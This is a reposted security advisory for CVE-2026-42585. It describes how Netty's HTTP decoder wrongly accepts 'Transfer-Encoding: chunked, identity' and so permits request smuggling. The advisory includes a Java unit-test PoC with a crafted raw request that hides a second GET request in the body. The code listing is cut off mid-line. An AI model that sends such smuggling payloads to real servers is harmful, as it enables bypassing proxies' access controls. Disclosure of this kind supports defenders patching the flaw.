CVE-2026-42585 - Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding

📡 GitHub-Advisory · 2026-05-07

CVE-2026-42585 - Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding

CVE-2026-42585

GHSA-38f8-5428-x5cv MEDIUM maven/io.netty:netty-codec-http

CVE: CVE-2026-42585

Summary

Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

Details

Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present.

According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

"

If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,

the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)

status code and then close the connection.

"

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbou

📌 来源: GitHub-Advisory | 🆔 CVE-2026-42585 | 📅 2026-05-07

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)